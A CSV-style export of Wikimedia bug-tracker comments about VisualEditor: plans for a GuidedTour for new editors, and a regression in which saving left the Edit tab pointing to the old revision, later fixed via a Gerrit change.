We are working on adding better VE support in GuidedTour currently, and I've added Matt Flaschen since he's tackling that. We are shooting for feature parity with our previous guided tour of editing for the first time delivered to GettingStarted editors, with the exception being that there is no Preview step to point to in VE. 

Also, soon we hope to test delivering a guided tour to all newly-registered editors, outside the GettingStarted funnel. (Docs: https://meta.wikimedia.org/wiki/Research:Guided_tours). Whether we run that test on a wiki like Spanish or French instead of English depends on l10n of the ""first edit"" tour and whether VE support is ready. S Page is helping out with this test, so I've added him as well. 

If we're interested in pointing out the difference between VE and wikitext to users right away, we could easily build that in as step for the guided tours delivered via GettingStarted and the general ""first edit"" tour we're planning. Currently with the tour that's in production, we just point to the Edit button and section edit buttons. 

I'm open to changing that, but I do think we should be cautious about throwing too much complexity at first time editors too soon, by pointing out the multiple methods of editing. I added Pau for his input.",,,1372796561,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,0.75,0.0,0.0,0.0,0.0,4.5,0.75,0.0,0.0,0.5,2.25,1.5,0.0,0.0,0.25,4.75,0.25,4.0,14.0,0.0,1.0,0.25,0.25,0.0,0.5,0.25,0.0,0.5,0.5,0.0,0.25,5.5,0.75,0.25,1.75,0.0,0.0,0.0,0.0,0.25,0.25,0.75,0.0,1.75,0.0,0.5,0.0,0.25,0.0,11.0,0.5,1.0,0.25,0.75,0.0,0.5,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.25,0.0,0.25,0.0,3.5,2.0,11.0,1.75,2.25,5.5,0.0,0.0,0.0,0.25,2.25,0.0,0.75,0.0,5.75,14.0,6.25,0.0,1.25,0.0,5.75,0.0,0.5,0.5,0.25,3.25,0.25,0.0,0.0,3.905144433625446,0.7713404738721195,"**swalling** wrote:

(In reply to comment #1)
QUOTE

TL;DR: 

Unless VE team wants to own it, I think E3 can handle any tours of basic editing functionality (with and without VE). What we have is 1/2 way toward the changes Erik requested. 

Full details: 

We are working on adding better VE support in GuidedTour currently, and I've added Matt Flaschen since he's tackling that. We are shooting for feature parity with our previous guided tour of editing for the first time delivered to GettingStarted editors, with the exception being that there is no Preview step to point to in VE. 

Also, soon we hope to test delivering a guided tour to all newly-registered editors, outside the GettingStarted funnel. (Docs: URL Whether we run that test on a wiki like Spanish or French instead of English depends on l10n of the ""first edit"" tour and whether VE support is ready. S Page is helping out with this test, so I've added him as well. 

If we're interested in pointing out the difference between VE and wikitext to users right away, we could easily build that in as step for the guided tours delivered via GettingStarted and the general ""first edit"" tour we're planning. Currently with the tour that's in production, we just point to the Edit button and section edit buttons. 

I'm open to changing that, but I do think we should be cautious about throwing too much complexity at first time editors too soon, by pointing out the multiple methods of editing. I added Pau for his input."
248956,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),Adding Steven in case his team wants to help/weigh in.,,,1372793189,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,8.0,23.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.4615384615384617,0.9230769230769231,Adding Steven in case his team wants to help/weigh in.
52441,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"After save of page using VisualEditor on beta, and clicking on Edit again (I am on the current page, as the content has been updated), I don't get the latest revision, but the revision I had before (the content switches back to the old version), and getting a warning that I'm not editing the latest version

--------------------------
**Version**: unspecified
**Severity**: blocker
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50716",Unbreak Now!,100.0,1372554780,1373328432.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-mtdexeiuriq5cdelhc5o,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,1.0,2.0,5.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,1.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,8.0,2.0,13.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,4.0,0.0,2.0,0.0,3.6,0.5894736842105263,"After save of page using VisualEditor on beta, and clicking on Edit again (I am on the current page, as the content has been updated), I don't get the latest revision, but the revision I had before (the content switches back to the old version), and getting a warning that I'm not editing the latest version

--------------------------
**Version**: unspecified
**Severity**: blocker
**See Also**:
URL"
239595,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"This is now deployed and appears to be working as expected in production, according to my testing. Marking as fixed. Please re-open if you find otherwise.",,,1373328432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.03125,0.875,"This is now deployed and appears to be working as expected in production, according to my testing. Marking as fixed. Please re-open if you find otherwise."
239592,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Change 72070 merged by jenkins-bot:
mw.ViewPageTarget: Fix incorrect retention of the wrong oldid

https://gerrit.wikimedia.org/r/72070",,,1373325377,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,0.9545454545454546,"Change 72070 merged by jenkins-bot:
mw.ViewPageTarget: Fix incorrect retention of the wrong oldid

GERRIT_URL"
239587,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),*** Bug 50596 has been marked as a duplicate of this bug. ***,,,1373155391,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50596 has been marked as a duplicate of this bug. ***
239580,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),Bug 47420 is the same thing that was reopened.  One of these two should be merged as a duplicate of the other.,,,1373061153,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,8.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.56,0.88,Bug 47420 is the same thing that was reopened.  One of these two should be merged as a duplicate of the other.
239572,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Change 72070 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Only pass oldid if we have to and clear/update it on save

https://gerrit.wikimedia.org/r/72070",,,1373010998,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,12.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.90625,0.96875,"Change 72070 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Only pass oldid if we have to and clear/update it on save

GERRIT_URL"
239565,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Actually, though we are indeed initialising for the version the user is reading instead of the latest version (separate bug) we do update `this.oldid` in mw.ViewPageTarget#onSave based on the data we got from the API.

However the API isn't returning that data, there is no ""data.newrevid"" returned by ApiVisualEditor.",,,1373010956,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,5.0,2.0,8.0,13.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,11.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,13.0,8.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.311475409836065,0.7377049180327869,"Actually, though we are indeed initialising for the version the user is reading instead of the latest version (separate bug) we do update CODE in mw.ViewPageTarget#onSave based on the data we got from the API.

However the API isn't returning that data, there is no ""data.newrevid"" returned by ApiVisualEditor."
239559,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Which makes me wonder, why are we using that in the first place. Don't we always want to be editing the latest version (except when url has oldid=) even if the latest version is more recent than the version the user is reading (either because the page is cached or because an edit was made while the user was viewing the page).",,,1373009694,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,3.0,1.0,6.0,1.0,3.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,10.0,3.0,11.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,1.0,1.0,6.0,1.0,3.0,0.0,3.8,0.7142857142857143,"Which makes me wonder, why are we using that in the first place. Don't we always want to be editing the latest version (except when url has oldid=) even if the latest version is more recent than the version the user is reading (either because the page is cached or because an edit was made while the user was viewing the page)."
239552,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Figured out the cause:

This revision id for the page is initialised in ve.init.mw.Target from wgCurRevisionId but then never updated.",,,1373009612,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.461538461538462,0.9230769230769231,"Figured out the cause:

This revision id for the page is initialised in ve.init.mw.Target from wgCurRevisionId but then never updated."
239546,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"(In reply to comment #8)
> If there's any likely timescale for the fixing of this bug, it might be
> useful to comment there: is ""soon"" likely to be hours, days, or weeks?!

Days. :-) Don't want to promise ""tomorrow"" if we don't manage to fix it by then, but certainly as soon as we can get it written, tested and deployed.",,,1372984760,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,14.0,0.0,6.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,4.0,0.0,0.0,2.0,0.0,2.0,14.0,0.0,2.0,0.0,8.0,14.0,4.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.163265306122449,0.7755102040816326,"(In reply to comment #8)
QUOTE
QUOTE

Days. :-) Don't want to promise ""tomorrow"" if we don't manage to fix it by then, but certainly as soon as we can get it written, tested and deployed."
239539,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"(In reply to comment #7)
> (In reply to comment #6)
> > Pending a full solution, is there any way that the pink error box can be
> > amended to include something like: ""Please click the ""Cancel"" button, then
> > Refresh/Reload the page and try again. Apologies for this temporary problem -
> > we are working on it.""
> > 
> > It's irritating for an experienced editor who has found the work-round, but
> > must be desperately confusing for a new editor who has just made an edit, had
> > an afterthought, and gets that message.
> 
> The message displayed is editable by any English Wikipedia sysop; this
> doesn't
> need any code changes to alter the text, or remove the bright pinkness, but
> you
> should discuss it with the community:
> https://en.wikipedia.org/wiki/MediaWiki:Editingold
> 
> We're hoping to get this regression fixed soon; sorry for the inconvenience.

OK, have raised a suggestion at [[MediaWiki_talk:Editingold#VE_problem]]. If there's any likely timescale for the fixing of this bug, it might be useful to comment there: is ""soon"" likely to be hours, days, or weeks?!",,,1372976195,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,24.0,1.0,1.0,4.0,0.0,0.0,1.0,1.0,4.0,0.0,1.0,0.0,1.0,8.0,20.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,3.2708333333333335,0.5104166666666666,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

OK, have raised a suggestion at [[MediaWiki_talk:Editingold#VE_problem]]. If there's any likely timescale for the fixing of this bug, it might be useful to comment there: is ""soon"" likely to be hours, days, or weeks?!"
239534,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"(In reply to comment #6)
> Pending a full solution, is there any way that the pink error box can be
> amended to include something like: ""Please click the ""Cancel"" button, then
> Refresh/Reload the page and try again. Apologies for this temporary problem -
> we are working on it.""
> 
> It's irritating for an experienced editor who has found the work-round, but
> must be desperately confusing for a new editor who has just made an edit, had
> an afterthought, and gets that message.

The message displayed is editable by any English Wikipedia sysop; this doesn't need any code changes to alter the text, or remove the bright pinkness, but you should discuss it with the community: https://en.wikipedia.org/wiki/MediaWiki:Editingold

We're hoping to get this regression fixed soon; sorry for the inconvenience.",,,1372973949,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,9.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,18.0,0.0,2.0,11.0,0.0,0.0,0.0,1.0,8.0,0.0,1.0,0.0,4.0,9.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.8,0.7,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The message displayed is editable by any English Wikipedia sysop; this doesn't need any code changes to alter the text, or remove the bright pinkness, but you should discuss it with the community: URL

We're hoping to get this regression fixed soon; sorry for the inconvenience."
239529,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Pending a full solution, is there any way that the pink error box can be amended to include something like: ""Please click the ""Cancel"" button, then Refresh/Reload the page and try again. Apologies for this temporary problem - we are working on it.""

It's irritating for an experienced editor who has found the work-round, but must be desperately confusing for a new editor who has just made an edit, had an afterthought, and gets that message.",,,1372973401,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,False,,,0,,1.0,1.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,4.0,7.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,15.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,9.0,4.0,7.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,3.0,7.0,3.0,0.0,4.0,0.0,3.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,0.0,3.8842105263157896,0.7473684210526316,"Pending a full solution, is there any way that the pink error box can be amended to include something like: ""Please click the ""Cancel"" button, then Refresh/Reload the page and try again. Apologies for this temporary problem - we are working on it.""

It's irritating for an experienced editor who has found the work-round, but must be desperately confusing for a new editor who has just made an edit, had an afterthought, and gets that message."
239524,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),*** Bug 50555 has been marked as a duplicate of this bug. ***,,,1372747009,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50555 has been marked as a duplicate of this bug. ***
239521,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Comment on attachment 12694
Screen recording of the bug

This is how the problem materialize for me, as you see, it jumps back to the previous revision on edit, and then complains it's not the latest revision.",,,1372597774,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,7.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,14.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,3.977272727272727,0.8181818181818182,"Comment on attachment 12694
Screen recording of the bug

This is how the problem materialize for me, as you see, it jumps back to the previous revision on edit, and then complains it's not the latest revision."
239519,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Screen recording of the bug

**Attached**: {F11340}",,,1372597673,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.8,"Screen recording of the bug

**Attached**: {F11340}"
239515,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"The url is http://en.wikipedia.beta.wmflabs.org/wiki/User:AzaToth/Test2?veaction=edit

Following is a timeline:

http://i.imgur.com/VmbT33s.png
http://i.imgur.com/FVWEf4r.png
http://i.imgur.com/ieTdi36.png
http://i.imgur.com/DP0eDLs.png
http://i.imgur.com/fNRbqeP.png",,,1372596485,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,40.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.75,0.5,"The url is URL

Following is a timeline:

URL
URL
URL
URL
URL"
239511,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"What url do you go to initially?
After saving and reading the page, what do you see. The version from before you edited or after, and what does the url look like?

When going into edit mode after saving, what does the url look like?",,,1372558082,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,2.0,6.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5185185185185186,0.6481481481481481,"What url do you go to initially?
After saving and reading the page, what do you see. The version from before you edited or after, and what does the url look like?

When going into edit mode after saving, what does the url look like?"
52424,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","An attempt to save an article in the visual editor after a period of inactivity results in the ""Invalid token"" error message and saving fails. At this point, the user is completely stuck and their entire work is lost. 

Loss of session data can also occur in the regular source code edit window, but is easily rectified by repeated saving; this doesn't work in the visual editor. 

I would classify this as user-hostile behavior.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
